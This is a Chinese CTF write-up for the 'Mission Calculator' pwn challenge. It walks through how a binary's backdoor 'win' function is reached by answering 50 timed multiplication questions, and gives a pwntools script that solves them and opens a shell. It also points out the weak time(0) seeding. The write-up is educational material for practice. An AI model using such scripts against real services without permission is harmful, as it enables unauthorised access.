Mission Calculator
.png)
main函数:
banner函数:
.png)
math函数:
.png)
我们开始分析代码,首先我们发现有后门函数即win函数,然后发现math函数中调用win函数,那我们看math函数中调用win函数的条件
.png)
for循环50次,用time(0)作为种子,生成两个范围为[1, 10000]的数字,这就是我们的题目了,然后我们输入答案,如果打错就退出程序,连续答对50次就可以通过,调用win函数(注意这题只给了我们20秒的输入时间,这是防止直接自己手动计算。)
EXP:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = process('./calc')
#p = remote('geek.ctfplus.cn',30971)
# 1. 通过 Banner
# 发送一个换行符来通过 getchar()
p.recvuntil(b"Press any key to start...")
p.sendline(b"")
# 2. 循环解决 50 个问题
for i in range(50):
# 接收第一个数字(把前面的省略)
p.recvuntil(b": ")
# drop=True 会丢弃 " * " 分隔符
num1_bytes = p.recvuntil(b" * ", drop=True)
# 接收到 " = " 之前的所有字节,这就是第二个数字
# drop=True作用一样
num2_bytes = p.recvuntil(b" = ", drop=True)
# 将字节转换成整数用于计算 (但是我们接收并没有排除空格,lstrip() 用于去除存在的空格)
num1 = int(num1_bytes.lstrip())
num2 = int(num2_bytes.lstrip())
# 计算
result = num1 * num2
# 发送答案。(sendline:在发送完内容后会自动加一个\n,这告诉scanf输入完毕,继续运行,而send不会添加\n,如果用send会卡在scanf)
p.sendline(str(result).encode())
# 3. 获取 Shell
p.interactive()time(0)是以秒为精度的,我们的程序运行的很快,所以其实在运行过程中seed是不变的,同时srand(seed)又在for循环里面,所以我们会看到50道题目都是一样的,所以其实我们可以简化脚本,只算一次答案,然后发送50次答案。
题目链接:
CTF-Writeups/第十六届极客大挑战/Mission Calculator at main · ZenDuk17/CTF-Writeups
Mission Calculator
http://localhost:8080/archives/mission-calculator